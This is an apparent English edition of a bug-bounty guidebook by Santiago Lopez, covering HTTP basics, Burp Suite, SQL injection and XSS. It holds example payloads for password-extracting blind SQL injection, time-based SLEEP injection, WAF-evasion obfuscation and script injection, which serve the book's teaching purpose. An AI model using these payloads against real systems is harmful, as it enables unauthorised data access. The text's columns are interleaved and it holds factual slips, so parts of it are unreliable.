Bugbounty en
Bugbounty en
MILLI O N A I R E
R ECORDS
BU G B OU N T Y
CHA NG E S Y OU R LI F E
AB O UT T HE A U THO R I hope my story motivates you to explore the world of bug bounty
and discover the hacker in you - you never know where your
Hi, I'm Santiago Lopez, an Argentinean hacker who, at the passion might take you!!
age of 19, achieved something that seemed impossible: to earn
a million dollars by finding and reporting software vulnerabili-
ties. It may sound like a Hollywood movie, but it is my reality.
2 MILLIONAIRE RECORDS
F OR EW O R D
When I met Santiago Lopez, I was impressed by his pas-
sion for computer security and his innate ability to find vul-
nerabilities in software. But what really surprised me was his
story: a young man from humble beginnings who, through his
talent and dedication, managed to become a millionaire hacker.
3
4 MILLIONAIRE RECORDS
INTRODUCTION
Get ready to dive into the exciting
world of bug bounty, where ethical hackers
become millionaires.
I will teach you how to use the essential tools and techni-
ques of ethical hacking, from vulnerability scanners to manual
exploitation techniques. You will learn how to analyze source
code, perform penetration tests, and use debugging tools to
find and fix security errors.
But this book is not just about techniques and tools. We’ll
also explore a hacker’s mindset, that insatiable curiosity and that
passion for troubleshooting that drives us to look for vulnera-
bilities where others don’t see them. You will learn to think like
an attacker, anticipate his moves and build stronger defenses.
6 MILLIONAIRE RECORDS
F OR W H O M I S T HI S This book is written thinking about you, who are curious
about the world of cybersecurity but have no prior experience.
B OOK? Maybe you’ve heard about the bug bounty and you’re intrigued by
the idea of making money by finding software vulnerabilities, but
you don’t know where to start. Or maybe you're a tech enthusiast
looking for a way to use your skills to generate online revenue.
In this book, I will guide you step by step through the fun-
damentals of bug bounty, from the basics of web security to the
most advanced techniques of ethical hacking. I will teach you
how to find vulnerabilities, how to report them responsibly and
how to maximize your profits.
With this book, you will discover that bug bounty is not only
a way to make money, but also a way of learning, growing and
making a difference in the digital world. I'll show you how to turn
your passion for technology into an exciting and lucrative career.
I ntroduction 7
WH AT W I L L Y O U FI ND IN This book will guide you through an exciting journey through
the world of bug bounty, from the basics to the most advan-
THI S B O O K ? ced techniques, so you can turn your passion for techno-
logy into a lucrative and rewarding career.
8 MILLIONAIRE RECORDS
applications. • Chapter 20: SSO: a master key with hidden risks. You
• Chapter 10: Race Conditions: When speed becomes will learn how hackers can exploit vulnerabilities in
a problem. You will learn how hackers exploit time and single login to access multiple accounts and data, and
synchronization to damage applications, and how to how to protect your systems from this threat.
design your systems to prevent these attacks. • Chapter 21: Information Disclosure: The Secrets
• Chapter 11: SSRF: The server as involuntary accom- Revealed. You will learn how hackers uncover sensitive
plice. You will learn how hackers manipulate server information that should not be public, from user data
requests to access internal or external resources, and to technical details of the application, and how to pre-
how to shield your applications against this type of vent your systems from filtering valuable information.
attack.
• Chapter 12: Insecure Deserialization: The resurgence Part III: Beyond Technic
of malicious objects. You will learn how hackers mani-
pulate serialized data to run unauthorized code on • Chapter 22: Bug Bounty Programs: Immerse yourself
your server, and how to protect your applications from in the world of bug bounty programs and learn how
this threat. to find and participate in them. Discover tips and tri-
• Chapter 13: XXE: The back door in your XML files. cks to maximize your earnings and build a successful
You will learn how hackers exploit XML processing to career as a reward hunter.
access files and system resources, and how to secure • Chapter 23: Responsible Communication and
your applications against this type of attack. Disclosure: Learn to report vulnerabilities responsibly
• Chapter 14: Template Injection: When templates to companies and how to work with them to solve pro-
become weapons. You will learn how hackers mani- blems. Discover the importance of responsible disclo-
pulate web templates to run malicious code on your sure and how it can benefit both hackers and.
server, and how to protect your applications from this • Chapter 24: Building a Bug Bounty Career: Get prac-
dangerous vulnerability. tical tips from Santiago López on how to turn your pas-
• Chapter 15: Application Logic Errors: The software sion for security into a successful career. Learn how
works, but not as it should. You will learn to identify to develop your skills, build your reputation and find
hidden bugs in the logic of applications that can be opportunities in the job market.
exploited by attackers, and how to design more secure • Chapter 25: The Future of Bug Bounty: Explore
and robust software. emerging trends in the world of bug bounty and dis-
• Chapter 16: Broken Access Control (BAC): When doors cover how you can prepare for the future of this exci-
are opened in pairs. You will learn how attackers take ting industry.
advantage of access control bugs to access sensitive
information or perform unauthorized actions, and how Part IV: Hands to work
to secure your apps to avoid it.
• Chapter 17: Directory Traversal: Escaping Directory • Chapter 26: Choosing a Bug Bounty Program: You
Prison. You will learn how hackers move freely through will learn how to select the bug bounty programs that
your server’s file system, accessing sensitive informa- best suit your skills, goals and preferences, maximizing
tion, and how to prevent them from escaping permi- your chances of success and reward.
tted limits. • Chapter 27: History of Industry: You will learn about
• Chapter 18: RCE: Remote control of your server. You the evolution of this practice from its beginnings to
will learn how hackers take full control of your server, the present. You will learn how the early error reward
running their own code to steal data or cause damage, programs laid the foundations for today’s industry,
and how to protect you from this critical threat. and how it has grown and professionalized over time.
• Chapter 19: Same-Origin Policy Bugs: when web bou- • Chapter 28: Asset types: You will be able to understand
ndaries are blurred. You will learn how hackers bypass the different types of systems, applications and plat-
security restrictions between websites to steal data or forms that become targets of error reward programs.
undertake unauthorized actions, and how to streng- • Chapter 29: Platforms: You will learn about the major
then your defenses to keep your data safe. platforms that connect security researchers with
companies seeking to identify security issues in their
I ntroduction 9
systems.
• Chapter 30: Scope, Payments and Response Times:
You will learn how to interpret the terms and condi-
tions of failure reward programs, what vulnerabilities
qualify for reward, how payments are made, and how
long you can wait in response to your reports.
• Chapter 31: Private programs: You will learn about
bug bounty programs that are not open to the gene-
ral public, but are exclusive to a selected group of
security researchers.
• Chapter 32: The right program: You will learn to define
your goals and preferences as a bug bounty researcher,
and to use that information to select the programs that
best align with them.
• Chapter 33: A Good Report: You will learn to communi-
cate your findings in a clear, concise and effective way.
• Chapter 34: Build a relationship: You will learn how to
build strong and lasting relationships with companies
that offer bug bounty programs.
• Chapter 35: Why are you failing?: You will learn to iden-
tify and overcome the most common obstacles facing
bug bounty researchers. Discover how to analyze your
own errors, learn from them, and improve your vulne-
rability search and reporting strategies.
• Chapter 36: What to do when you're stuck?: You will
learn how to overcome creative and technical blocks
that may arise during the search for vulnerabilities
With this book, you will have all the tools you need to
become a bug bounty expert and start making money by pro-
tecting and users from cybercriminals. Prepare for an exciting
and challenging adventure!
10 MILLIONAIRE RECORDS
I ntroduction 11
H AP P Y HA C K I NG !
Now that you have in your hands the tools and knowle-
dge that led me to earn a million dollars, it's your turn to go out
into the world and leave your mark in the bug bounty universe.
12 MILLIONAIRE RECORDS
I ntroduction 13
C H A P T E R O N E
BUG BOUNTY'S
FUNDAMENTALS
1
SA N T I 'S P ATH My Way to the Million Dollars (and How You Can Do The Same)
But here I am, and I want to share my story with you. I want
to show you that bug bounty is not just a way to make a living,
but an exciting adventure that allows you to use your skills to
make the digital world a safer place.
18 MILLIONAIRE RECORDS
a valid error. As you read these chapters, I encourage you to approach
the material with an open mind and a willingness to learn. The
My first error was a very simple CSRF that allowed you to world of insect rewards is dynamic and always evolving, offering
edit your Ebay account information through a link. As I said, I did endless opportunities for those willing to take advantage of them.
not receive any rewards, but I had the opportunity to show my
parents my achievement. Which I love to this day. Thank you for joining me on this journey. I hope this book
will not only equip you with the skills to succeed in bug rewards,
Welcome to my world. My main goal today is to show you but also inspire you to pursue your passions and realize your full
how I, Santiago Lopez, transformed my passion for technology potential. We climb into the exciting world of ethical hacking
and cybersecurity into an extraordinary journey that led to ear- and discover how you too can turn your skills into meaningful
ning over a million dollars at the age of 19. achievements.
20 MILLIONAIRE RECORDS
How to Develop a Hacker Mentality
So, are you ready to start thinking like a hacker? The jour-
ney begins now!
Vulnerability Scanners
22 MILLIONAIRE RECORDS
• Fuzzing:Fuzzing is a technique that consists of sen-
ding random or unexpected data to an application to
see how it reacts. If the application gets locked or beha-
ves unexpectedly, it can be a sign of a vulnerability.
• Social Engineering: Social engineering is the art of
manipulating people to disclose confidential informa-
tion or take actions that benefit the attacker. In the
context of bug bounty, social engineering can be used
to gain access to restricted systems or to collect infor-
mation about vulnerabilities.
• Source Code Analysis: Source code analysis invol-
ves examining the code of an application to identify
vulnerabilities. This technique requires a deep knowle-
dge of programming languages and security practices.
For HTTPS, the encrypted version of HTTP, we use port The headers of the HTTP request make up the remaining
443, while by default port 80 is used for HTTPs. lines. They are used to provide the server with more details about
the request. This allows the server to customize the client's
Requests and answers HTTP results. The request's host name is specified in the Host header
in the previous example. The operating system and version of
Once the connection is established, the browser and the ser- the requesting software, including the user's web browser, are
ver use the Hypertext Transfer Protocol (HTTP) to communicate. listed in the User-Agent header. The Accept, Accept-Language,
HTTP is a set of guidelines that describe the format and meaning and Accepts-Encoding headers inform the server of the format
of messages sent over the Internet, as well as the information of the replies. In addition, the Connection header tells the ser-
exchange protocols that web servers and clients should follow. ver whether or not to maintain the network connection once
the server has responded.
The browser sends a HTTP request to a server whenever
you want to communicate with it. The two most popular forms Some more standard headers may appear in requests.
of HTTP requests are GET and POST, although there are also Cookies are sent from the client to the server through the
other varieties. POST requests send data to the server, while Cookie header. The address of the previous web page that you
GET requests usually receive data from it. Other popular HTTP linked to the current page is specified in the Reference header.
methods are PUT, which is used for updating resources, DELETE, Additionally, credentials for user authentication on a server are
that is used to remove resources, and OPTIONS, which are used included in the Authorization header. The server will attempt to
to request permitted HTTPS methods for a specific URL. satisfy the request as soon as it is received. Through HTTP res-
ponses, the server will return all the resources needed to create
26 MILLIONAIRE RECORDS
your web page. A HTTP response has several components: the
body of the HTTPS response, which is the actual web content
you have requested; a HTTPs status code to show whether the
request has been performed correctly; and HTTS headers, which be redirected is indicated in the Location header. The sources
are the 37 bits of authentication information, content format, to which access to the content of the page is allowed are indi-
and security policies that browsers and servers use to commu- cated in the Access-Control-Allow-Origin header.
nicate with each other. The content of the website may consist
of graphics, JavaScript code, CSS style sheets, HTML code, etc. The X-Frame-Options header indicates whether the page
can be loaded within an iframe, while Content-Security-Policy
Here is an example of HTTP response: regulates the source of the resources that the browser can load.
The body of the answer is the data that follows the blank
HTTP/1.1 200 OK line. Includes the HTML and JavaScript code that shapes the
Date: Mon, 27 Jul 2009 12:28:53 GMT actual content of the page. Your browser will render it all for
Server: Apache/2.2.14 (Win32) you once you have all the data needed to create the web page.
Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT
Content-Length: 88 Internet security checks
Content-Type: text/html
Connection: Closed After you have acquired a general understanding of how
information is shared online, we will discuss some essential
<html> <body> <h1>Hello, World!</h1> </body > </html> security measures that keep hackers out. First you need to
understand how these controls work because finding errors
Check the message 200 OK of the line often requires you to design inventive ways around them.
URLs can only be sent over the Internet using the ASCII
character set. If a URL contains characters outside the ASCII
character set, the URL must be converted.
Each user accessing a web site creates and maintains a ses- • Login: Enter your username and password on a web-
sion, and this process is initiated when you log in. Your browser site or application.
will receive an associated session ID from the server, which acts • Verification: The system verifies your credentials and,
as identification documentation. if correct, generates a unique token (a digital code).
• Granting access: The token is sent back to your device
Usually, the session ID is a long random string that is diffi- (computer, phone, etc.).
cult to find out. The server logs you out and deletes the session • Subsequent access: When you return to the same
ID when you exit. website or application, you do not have to re-enter
your password. Instead, your device sends the token
Cookies are used by most websites to transmit session data to the system.
in HTTP requests. Web servers send small data files known as • Validation: The system verifies the validity of the token
HTTP cookies to your browser. The server establishes a session (making sure it has not expired or been tampered with)
for you when you connect, and sends the session ID as a cookie and grants you access.
to your browser. Your browser saves cookies and uses them for
each request you make to the same server.
28 MILLIONAIRE RECORDS
JSON Web Tokens
e yJ h b G c i O i J I U z I 1 N i I s I n R 5 c C I 6 I k pX V C J 9 . e yJ -
zdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ikp-
vaG 4 gRG 9 lIi w i aW F 0 Ij oxN T E 2 MjM 5 M D Iy f Q.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
30 MILLIONAIRE RECORDS
Let's take an example where you browse your email inbox
and use a proxy to intercept the request that returns your email.
This is a GET request directed to a URL containing your user
ID. It also notes that the request contains a cookie containing Configure Firefox
your user ID:
Burp's built-in browser provides an easy method to start
your bug search with little configuration. On the other hand, Burp
can be configured to work with your browser if, like me, you prefer
to try a familiar one. Let's configure Burp to work with Firefox.
32 MILLIONAIRE RECORDS
Getting things ready for Burp
Open Burp Suite after downloading it, select Next, and then
click Start Burp. There should be a window like this.
Proxy
The Repeater
When using the built-in Firefox browser or Burp to access Most likely the tool you will use the most is the repeater.
a website, an HTTP/HTTPS request should appear in the main It allows you to change requests and thoroughly review server
window. Every request your browser makes while interception responses. It can also be used to save intriguing requests for
is enabled will pass through Burp before being sent to the server later review.
unless you choose to click Forward in the proxy window. This is
your opportunity to change the request before sending it to the While you can change requests with the repeater and the
server or transmitting it to other Burp modules. invader, their functions are completely different. By automatically
delivering requests that have been mechanically modified, the
To search for strings in the requests or responses, you can hacker automates attacks. The repeater is designed for manual,
also use the search box at the bottom of the window. in-depth changes to a single request.
Let's experiment using Burp Proxy to intercept and mani- By right-clicking on the request and choosing "Send to
pulate traffic! Repeater", you can send requests to the repeater, the requests
are displayed on the left side of the repeater screen. Here, you
Enable traffic interception by going to Burp Proxy. Next, can edit a request and click the Send button at the top to send
launch the built-in Firefox or Burp browser and go to https:// the request.
34 MILLIONAIRE RECORDS
in parameters affects the response you receive from the server.
To send data to the comparator, select Send to Comparator
from the context menu when right-clicking on a highlighted sec-
tion of text in any request or response.
The Decoder
The Comparer
One method of comparing requests or responses is with the
comparator. It draws attention to variations between two blocks
of text. For example, you can use it to investigate how a change
Also, note the help in planning attacks. You have the ability
to monitor the progress of your hacking, as well as the features
you have tested and those you still need to verify. By doing so,
you can avoid wasting time repeatedly testing the same features.
36 MILLIONAIRE RECORDS
bug bounty ' s F undamentals 37
C H A P T E R T W O
WEB VULNERABI-
LITIES
2
2 . 1 - SQ L I NJE C T I O N
#2.1 responses.
• Boolean conditions such as OR 1=1 and OR 1 =2, and
look for variations in the responses given by the appli-
SQL Injection (SQLi): What is it? cation.Loads that, when triggered within a SQL query,
are intended to cause time delays and look for varia-
An online security flaw known as SQL injection (SQLi) allows tions in response times.
an attacker to manipulate queries that an application sends to its • OAST utility loads that, when used in an SQL query,
database. An attacker might be able to see data that they would are intended to cause out-of-band network interaction.
not normally be able to access because of this. This could include
other data that the program has access to or data that is owned SQL injection occurring in several query sections
by other users. This data can often be altered or deleted by an
attacker, changing the behavior or content of the program in a Most SQL injection problems occur in the WHERE clause
way that is persistent. of a SELECT query. Most experienced testers are familiar with
this type of SQL injection.
A SQL injection attack can occasionally be escalated by an
attacker in order to compromise the underlying server or other SQL injection vulnerabilities, however, can appear anywhere
back-end infrastructure. They may also be able to carry out in the query and in a variety of query formats. Other typical pla-
denial-of-service attacks because of it. ces where SQL injection occurs include:
What is the impact of a successful SQL injection attack? • Within the WHERE clause or the values changed in
UPDATE statements.
A successful SQL injection attack can result in unauthori- • Within the values inserted in INSERT statements.
zed access to sensitive data, such as: • Within the table or column name in SELECT statements.
• Within the ORDER BY clause of SELECT queries.
• Passwords.
• Credit card details. SQL injection examples
• User's personal information.
There are numerous SQL injection techniques, attacks and
SQL injection attacks have been used in many high-pro- vulnerabilities, and they arise in a variety of contexts. Typical
file data breaches over the years. They have caused reputatio- instances of SQL injection include:
nal damage and regulatory fines. In some cases, an attacker can
gain a persistent backdoor into an organization's systems, lea- • Find hidden information, where you can change a
ding to a long-term compromise that can go undetected for an SQL query to get more information.
extended period. • Changing a query to hinder the application logic is
known as subverting the application logic.
How to find vulnerabilities related to SQL injection • UNION attacks, which allow you to obtain informa-
tion from several database tables.
By performing a methodical set of tests against each appli- • Blind SQL injection occurs when an application res-
cation entry point, you can manually identify SQL injection. ponds without returning the answers to a query it con-
Normally, to accomplish this, you would submit: trols. Get hidden data
• The character of the solitary quotation "and look for Consider a shopping application that lists items according to
errors or other irregularities." different categories. The user's browser prompts for the following
• A certain specific SQL syntax evaluates both the base URL when clicking on the Gifts category: https://insecure-web-
(original) value of the entry point and a new value, site.com/products?category=Gifts
and looks for consistent variations in the application's
40 MILLIONAIRE RECORDS
This causes the program to make an SQL query to get infor- used to obtain unauthorized data, this generally requires more
mation about the relevant products from the database: advanced and difficult procedures.
SELECT * FROM goods WHERE released = 1 AND category
= "Gifts". Depending on the characteristics of the vulnerability and
the database in question, blind SQL injection vulnerabilities can
With this SQL query, the database is asked to provide: be exploited using the following methods:
• All information (*) from the product table, where the • By changing the query logic, you can make the appli-
released number is 1 and the category is gifts. cation's response noticeably different depending on
whether a single condition is true or not. This could
• Products that are not released are hidden by the release be adding a new condition to a Boolean logic or gene-
constraint = 1. For unannounced goods, we can pre- rating an error conditionally, such as a divide by zero.
sume that it is released = 0.
• It is possible to conditionally initiate a time delay in
The application does not implement any defense against query processing. This allows you to infer the actual
SQL injection attacks. This means that an attacker can construct status of the condition based on the time it takes for
the following attack, for example: the application to respond.
• Crucially, note that -- is a comment indicator in SQL. Searching for blind SQL injections.
This means that the rest of the query is interpreted as
a comment and removed. In this example, this means Blind SQL injections, also known as inferential SQL injec-
that the query no longer includes AND released = 1. tions, are a bit more difficult to find and use. They occur when
an application produces no useful SQL data or error messages,
• As a result, all products are displayed, including those making it impossible for attackers to retrieve information directly
that have not yet been released. You can use a similar from the database.
attack to make the application display all products in
any category, including categories you do not know In this case, by delivering SQL injection payload to the ser-
about: ver and monitoring its subsequent actions, attackers can deduce
information. Additionally, there are two varieties of blind SQL
h t t p s : // i n s e c u r e - w e b s i t e . c o m / injections: time-based and Boolean.
products?category=Gifts'+OR+1=1--
Boolean-based SQL injection is the process by which oppo-
Blind SQL injection-related vulnerabilities nents insert test conditions into a SQL query that would give a
true or false result, hence the deduction of the database struc-
Blind vulnerabilities represent a large number of SQL injec- ture. Attackers could gradually deduce the contents of the data-
tion cases. This indicates that neither the output of the SQL query base using those answers.
nor the details of database failures are returned by the applica-
tion in its responses. Although blind vulnerabilities can still be Let's take an example where example.com tracks its premium
web vulnerabilities 41
subscribers on the platform using a different table. is returned by SUBSTR(Password, 1, 1) 1. Because user 2 is not a
premium member, the second SELECT statement, which returns
In addition to having access to enhanced features, premium results if the administrator account password begins with a, will
users' home pages have a banner that says "Welcome, premium determine whether or not this query provides data. For example,
member!" By using a cookie containing the user's ID and com- if you send this user ID as a cookie, the web application will dis-
paring it to a list of registered premium members, the website play the premium banner if the admin account password starts
establishes who is premium. This is what the GET request may with an a. This indicates that you can brute force the adminis-
look like with such a cookie. trator password. Until it works, you can try this query with the
letters b, c, and so on.
--------------
GET / This method can be used to retrieve important information
Host: example.com from the database, including the Database version, table names,
Cookie: vulnerable_id=1 column names and credentials. I introduce more details about
-------------- this on page 201 of "Escalating the Attack".
This request is used by the program to generate the SQL Similar techniques are used in time-based SQL injections,
query that follows: where the attacker relies on the difference in response time
caused by various SQL injection workloads rather than a visual
SELECT * FROM PremiumUsers WHERE Id='1'; cue on the online site. What might happen, for example, if the
injection point in the example above does not produce visual
The user is a premium member if this query yields results, cues about the query result? Let's assume that premium mem-
in which case the banner "Welcome, Premium Member!" will bers do not receive a unique banner and that their user interfa-
appear. The banner will not appear if it does not. Suppose you ces are the same. So how can this SQL injection be leveraged?
have a non-premium account. If you were to submit this user ID
instead, what would happen?
Using SQL Injection Automatically
--------------
2' UNION SELECT Id FROM Users Manual SQL injection verification is not scalable. To auto-
WHERE Username = 'admin' mate each step of the approach described in this chapter, from
and SUBSTR(Password, 1, 1) ='a';- SQL injection identification to exploitation, I suggest employing
-------------- tools. For example, a Python application called sqlmap (http://
Therefore, the query would be as follows: sqlmap.org/) simplifies the process of finding and exploiting the
203 SQL injection vulnerabilities. Although this book cannot
-------------- cover a complete instruction on sqlmap, its documentation can
SELECT * FROM PremiumUsers WHERE Id='1' be accessed at https://github.com/sqlmapproject/squlmap/wiki/.
UNION SELECT Id FROM Users
WHERE Username = 'admin' Make sure you understand each sqlmap approach before
and 1SUBSTR(Password, 1, 1) = 'a';-- automating your attacks so that you can maximize your attack
-------------- efficiency. This chapter covers most of its techniques. Sqlmap
is a tool that can be used independently or integrated with the
The SUBSTR(STRING, POSITION, LENGTH) function takes test proxy.
a substring of a given LENGTH and POSITION within a string
and extracts it. You make use of. For example, by installing the SQLiPy Burp
plug-in, you can incorporate sqlmap into Burp.
Consequently, the initial character of each user's password
42 MILLIONAIRE RECORDS
How to locate your first injection
web vulnerabilities 43
users--
Bypass protection • URL-encoded payload: %27%20UNION%20
SELECT%20password%20FROM%20users--
As SQL injection vulnerabilities have become more widely
known, developers and system administrators have imple- 3. Time Based Attacks
mented various protective measures to mitigate this risk.
However, persistent attackers have developed techniques Objective: To extract information from the database
to evade these protections and continue to exploit SQL through the server response time.
injection vulnerabilities. This chapter explores the tactics Techniques:
and strategies used to circumvent SQL injection defenses. • Time-based blind SQL injection: Use functions
such as SLEEP or BENCHMARK to delay the server
1. Input Filter Evasion response if a specific condition is met.
• Measuring response time: Measure the time it
Objective: To introduce malicious payloads despite input takes for the server to respond to deduce whether the
filters designed to block them. condition is met or not.
Techniques: Example:
• Keyword obfuscation: Use comments, whitespace, • ' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5),
special characters or encoding to hide keywords such 1)-- (Delay 5 seconds if the first character of the pas-
as SELECT, UNION, DROP, etc. sword is 'a'.)
• Use of synonyms and alternative functions: Replace
keywords with synonyms or equivalent functions (e.g., 4. Second Order Attacks
|| instead of CONCAT).
• Multi-stage injection: Split the payload into mul- Objective: Exploit SQL injection vulnerabilities that mani-
tiple parts and combine them on the server. fest themselves at a later stage, after the malicious data has
• Example: been stored in the database.
1. Original payload: ' UNION SELECT password Techniques:
FROM users-- • Storing malicious payloads: Entering payloads in
2. Obfuscated payload: '/**/UnIoN/**/SeLeCt/**/ fields that are stored in the database.
password/**/FrOm/**/users-- • Activate payloads at a later stage: Retrieve data
stored in a vulnerable context to execute the payload.
2. WAF (Web Application Firewall) Evasion
Advanced SQL Injection Defenses
Objective: To circumvent the detection rules of a WAF
to prevent it from blocking malicious requests. • Prepared Statements: Parameterize SQL queries to
Techniques: prevent user-supplied data from being interpreted
• Payload obfuscation: Use techniques similar to those as code.
used to bypass inbound filters. • Stored Procedures: Limit the operations that a user
• Fragmentation of payloads: Split the payload into can perform on the database.
multiple requests to prevent the WAF from detecting • Whitelisting: Allow only specific and valid input values.
it in its entirety. • Escaping: Correctly encode special characters to pre-
• Use of encoding techniques: Encode the payload in vent them from being interpreted as code.
different formats (URL encoding, hexadecimal, base64)
to make detection more difficult.
Example:
• Original payload: ' UNION SELECT password FROM Escalating the attack
44 MILLIONAIRE RECORDS
This type of chapter generally delves into how an attacker
can exploit an initial SQL injection vulnerability to gain
greater control over a system or database. Here are some
key issues you might encounter:
Types of Climbing:
• Second Order SQL Injection: The attacker inserts
malicious code that is executed later when a different
request is processed.
• Inference-Based SQL Injection: The attacker dedu-
ces information about the database structure through
server responses to manipulated SQL queries.
• Blind SQL Injection: The attacker does not see
the results of your SQL queries directly, but can infer
information based on the behavior of the application.
Climbing Techniques:
• Database Enumeration: Discover database names,
tables and columns.
• Identification of Functions and Stored Procedures:
Find out which functions and procedures are available
in the database and how they can be used.
• Use of Operating System Functions: Execute ope-
rating system commands through functions such as
xp_cmdshell (in SQL Server).
Mitigation:
• Query Parameterization: Use parameterized queries to
prevent user input from being interpreted as SQL code.
• Validation of Inputs: Ensure that all input is valid
• Principle of Least Privilege: Grant user accounts only
the privileges necessary to perform their tasks.
web vulnerabilities 45
2 . 2 - CRO S S - S I TE
SC R I P T I N G ( X S S ) # 2.2
Cross-site scripting (XSS) is one of the most common and
potentially damaging vulnerabilities found in web applications.
In this chapter, I will explain what XSS is, how it works, and
share some real-world examples that illustrate its impact. I will Real-world examples
also share how I, Santiago Lopez, excelled at finding these bugs
throughout my career. Let's look at some real-world examples of XSS vulnerabi-
lities to understand how they work and the potential damage
they can cause.
Understanding cross-site scripting (XSS)
Cross-site scripting occurs when an attacker is able to inject Example 1: XSS stored in a comment field
malicious scripts into the content of trusted websites. XSS vul-
nerabilities can lead to unauthorized actions being performed Imagine a blogging platform where users can leave com-
in the context of another user's session, data theft or the spread ments on posts. An attacker could post a comment like this:
of malware.
--------------------
<script>alert('XSS');</script>
There are three main types of XSS: --------------------
• XSS stored: The malicious script is stored on the target If the platform does not properly sanitize the input, this
server, such as in a database, comment field or mes- script will be stored in the database and will be displayed on
sage board. When a user requests the stored informa- the page every time a user views the comments section. When
tion, the script is delivered as part of the response and executed, an "XSS" alert box will be displayed.
executed by the user's browser.
• Reflected XSS: The malicious script is reflected outside
of a web server, such as in an error message, search Example 2: XSS reflected in a search function
result, or any other response that includes data sent
to the server as part of the request. The script is then Consider a web application with a search feature that dis-
executed by the user's browser. plays the search query back to the user. An attacker could create
• DOM-based XSS: The vulnerability exists in the clien- a URL like this:
t-side code and not on the server side. The script is
executed as a result of modifying the Document Object --------------------
Model (DOM) of the web page. http://example.com/search?q=< script>alert('XSS');</script>
--------------------
46 MILLIONAIRE RECORDS
Example 3: DOM-based XSS in client-side JavaScript XSS vulnerability prevention
Suppose a website has a JavaScript function that reads a To prevent XSS vulnerabilities, web developers should:
parameter from the URL and writes it to the page:
• Sanitize input: always sanitize user input by remo-
-------------------- ving or encoding special characters that could be used
var searchParam = nueva URLSearchParams(window.loca- in scripts.
tion.search).get('q'); document.write(search Param); • Use security libraries: Use security libraries and fra-
-------------------- meworks that provide built-in protection against XSS.
• Content Security Policy (CSP): Applies a content
An attacker could use a URL like this one: security policy to restrict the sources from which scripts
can be loaded and executed.
--------------------
http://example.com/?q=< script>alert('XSS');</script> Cross-site scripting is a powerful vulnerability that can have
-------------------- serious consequences if left unchecked. By understanding how
Since the script is written directly to the page without saniti- XSS works and learning from real-world examples, you can bet-
zation, it will be executed by the browser, displaying the alert box. ter protect web applications from these attacks. Throughout my
career, finding and reporting XSS vulnerabilities has been one
My success with finding XSS bugs of my specialties, leading to significant improvements in the
security of various platforms.
Throughout my career, I have identified numerous XSS
vulnerabilities, which have been both challenging and rewar- Once the page is detected as vulnerable to XSS, the payload
ding. Finding XSS bugs requires a keen eye for detail and a deep will be displayed in the browser like this.
understanding of how web applications handle user input.
web vulnerabilities 47
Example:
Types of XSS
An attacker could inject a malicious script into a forum com-
1. Reflected XSS ment or blog post. This script would be stored in the database
and executed every time someone viewed the comment or post.
Reflected XSS is the most basic type of XSS. It occurs when
user-supplied data is included in the server's HTTP response 3. DOM Based XSS
without being properly validated or encrypted. The attacker tri-
cks the victim into clicking on a malicious link or submitting a DOM-based XSS is a type of XSS that occurs client-side,
manipulated form, which causes the malicious script to execute in the victim's browser. The malicious script is not sent to the
in the victim's browser. server, but is executed directly in the browser through manipu-
lation of the page's Document Object Model (DOM).
Characteristics:
Characteristics:
• The malicious script is not stored on the server.
• The attack is executed immediately after the victim • The malicious script is not sent to the server.
interacts with the link or form. • The attack is executed in the victim's browser through
• The impact is limited to the victim's current session. DOM manipulation.
• It can be more difficult to detect and prevent than
Example: other types of XSS, as it does not involve interaction
with the server.
https://example.com/search?q=<script>alert('XSS')</script>
Example:
In this example, the attacker includes a <script> tag in the
search parameter q. If the web application does not validate or https://example.com/page#<script>alert('XSS')</script>
encode this parameter, the script will be executed in the victim's
browser when he clicks on the link. In this example, the attacker includes a JavaScript snippet
in the URL hash. If the web application uses this snippet to
2. Stored XSS dynamically update the page content without proper validation
and coding, the script will be executed in the victim's browser.
Stored XSS is a more dangerous type of XSS. It occurs when
user-supplied data is stored on the server (e.g., in a database) and Comprender los diferentes tipos de XSS es fundamental
then included in HTTP responses without being properly valida- para poder identificarlos y prevenirlos. Cada tipo de XSS tiene
ted and encrypted. The malicious script is executed each time sus propias características y requiere diferentes enfoques de
a user visits the affected page, which can affect multiple users. mitigación. Al aplicar las mejores prácticas de seguridad, como la
validación y codificación de entradas, el uso de Content Security
Characteristics: Policy (CSP) y la implementación de HttpOnly cookies, puedes
proteger tu aplicación web y a tus usuarios de los ataques XSS.
• The malicious script is stored on the server.
• The attack is executed every time the affected page
is loaded in any user's browser. Search methodologies
• The impact can be much greater than the reflected
XSS, as it can affect multiple users over an extended We will explore the techniques and tools used by security
period. researchers to discover these vulnerabilities in web applications.
48 MILLIONAIRE RECORDS
Hunting for XSS requires a methodical and systematic including XSS. It is easy to use and offers an intuitive
approach. Below is a general methodology you can follow: graphical interface.
• Nikto: A command-line web vulnerability scanner
1. Recognition: that can perform fast, automated testing. It is useful
• Gathers information about the target web application, for scanning large numbers of websites for common
such as its technology, functionalities and structure. vulnerabilities.
• Identifies possible entry points for user-supplied data • XSS Hunter: A platform that allows you to create cus-
such as forms, search fields and URL parameters. tom XSS payloads that send alerts to your account
when executed in the victim's browser. It is useful for
2. Source code analysis: detecting blind XSS vulnerabilities, where you cannot
• If possible, review the application source code for code directly see the result of the injection.
patterns vulnerable to XSS, such as direct concatena- • PayloadsAllTheThings: A GitHub repository containing
tion of unvalidated data in HTML output. a large collection of XSS payloads that you can use in
your tests.
3. Manual testing:
• Try injecting basic XSS payloads at the identified entry Tips and Tricks
points. Start with simple payloads like <script>aler-
t('XSS')</script> and see if they execute in the browser. • Don't limit yourself to basic payloads: Experiment with
• Experiment with different types of encoding (URL, different types of payloads and evasion techniques to
HTML, JavaScript) and evasion techniques to bypass find vulnerabilities that other researchers might miss.
security filters. • Pay attention to the context: The context in which
malicious code is injected is crucial in determining
4. Automated scanning: whether it is vulnerable to XSS. Try different contexts,
• Use web vulnerability scanning tools such as Burp such as HTML attributes, JavaScript events and varia-
Suite, OWASP ZAP or Nikto to automate the search ble values.
for XSS. • Use debugging tools: Tools such as browser develo-
• Configure tools to scan for relevant entry points and per consoles can help you analyze how your malicious
use predefined XSS payload lists. code is processed and executed in the victim's browser.
• Learn from other researchers: Follow security blogs
and forums, attend conferences and participate in
5. Analysis of results: online communities to learn from other researchers and
